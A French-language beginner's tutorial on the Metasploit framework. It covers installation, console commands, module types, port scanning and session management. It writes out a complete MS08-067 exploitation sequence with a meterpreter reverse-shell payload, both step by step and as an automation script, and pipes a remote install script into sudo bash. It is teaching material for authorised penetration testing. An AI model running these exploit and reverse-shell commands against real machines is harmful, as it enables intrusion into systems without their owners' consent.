Manuel d’Utilisation de Metasploit - Niveau Débutant

Introduction

Metasploit est un Framework de sécurité conçu pour développer et exécuter des exploits contre des machines distantes. Il est principalement utilisé pour tester la sécurité des systèmes, mais peut aussi être adapté pour créer des exploits personnalisés. Ce manuel vous guide à travers les étapes d'installation, les commandes de base et des exemples pratiques pour débuter avec Metasploit.

---

1. Installation de Metasploit

1.1 Prérequis

- **Systèmes d’exploitation compatibles** : Windows, Linux, macOS.
- **Ruby** : Metasploit est écrit en Ruby, donc Ruby doit être installé.
- **PostgreSQL** : Nécessaire pour la gestion des bases de données.

1.2 Installation sur Linux (Ubuntu/Debian)

1. Mettez à jour vos paquets :

   ```
   sudo apt update
   ```

2. Installez les dépendances :

   ```
   sudo apt install curl postgresql postgresql-contrib
   ```

3. Téléchargez et installez Metasploit :

   ```
   curl https://raw.githubusercontent.com/rapid7/metasploit-
   framework/master/msfupdate | sudo bash
   ```

1.3 Installation sur Windows

1. Téléchargez l’installateur depuis le site officiel de Rapid7.
2. Lancez l’installateur et suivez les instructions.

1.4 Installation sur macOS

1. Installez PostgreSQL avec Homebrew :

```
brew install postgresql
brew services start postgresql
```

2. Téléchargez et installez Metasploit :

```
curl https://raw.githubusercontent.com/rapid7/metasploit-
framework/master/msfupdate | sudo bash
```

---

2. Démarrer Metasploit

```
msfdb init
```

1. **Lancez la console Metasploit** :

```
msfconsole
```

---

3. Commandes de Base

Commande	Description
search	Rechercher des exploits, payloads, modules, etc.
use	Sélectionner un module spécifique.
info	Afficher les détails d'un module.
show	Lister les exploits, payloads ou options disponibles.
set	Configurer une option pour un module.
exploit	Exécuter un exploit sélectionné.

3.1 Exemple de Recherche et Exploitation

1. **Recherche d'un exploit pour SMB sur Windows** :

```
search type:exploit platform:windows smb
```

2. **Sélectionnez un exploit** :

```
use exploit/windows/smb/ms08_067_netapi
```

3. **Affichez les options nécessaires** :

```
show options
```

4. **Configurez les paramètres** :

```
set RHOSTS <IP_victime>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <votre_IP_locale>
set LPORT 4444
```

5. **Lancez l’exploit** :

```
exploit
```

---

4. Modules de Metasploit

Type de Module	Description
Exploits	Exploitent une vulnérabilité spécifique pour pénétrer dans un système.
Payloads	Code qui s'exécute après exploitation pour établir une connexion.
Auxiliary	Scans réseau, fuzzing et autres tâches de sécurité non destructives.
Post	Modules post-exploitation pour extraction d’informations ou maintien de l’accès.

4.1 Exemple Pratique : Scan Réseau

1. **Recherchez un module de scan de ports** :

```
search portscan
```

2. **Sélectionnez un module de scan TCP** :

```
use auxiliary/scanner/portscan/tcp
set RHOSTS <IP_réseau>
```

3. **Exécutez le scan** :

```
run
```

---

5. Gestion des Sessions

1. **Lister les sessions actives** :

```
sessions -l
```

2. **Interagir avec une session active** :

```
sessions -i <ID_de_session>
```

3. **Terminer une session** :

```
sessions -k <ID_de_session>
```

---

6. Automatisation avec des Scripts

Metasploit permet d'automatiser des tâches grâce à des scripts Ruby. Exemple d'un script simple :

6.1 Script Ruby d'Exploitation

```
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.10
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
exploit
```

6.2 Exécution du script

```
msfconsole -r my_script.rb
```

---

7. Conseils et Précautions

- **Usage légal uniquement** : Assurez-vous d'avoir l'autorisation explicite avant d'effectuer des tests de pénétration.
- **Mise à jour régulière** : Metasploit est fréquemment mis à jour pour inclure les derniers modules.
- **Sécurité des données** : Ne stockez pas d'informations sensibles sans protection adéquate.

Conclusion

Metasploit est un outil incontournable dans le domaine de la cybersécurité. Ce manuel vous donne une base solide pour débuter. Pour aller plus loin, explorez la documentation officielle et pratiquez régulièrement dans des environnements contrôlés comme les plateformes de CTF ou des machines virtuelles.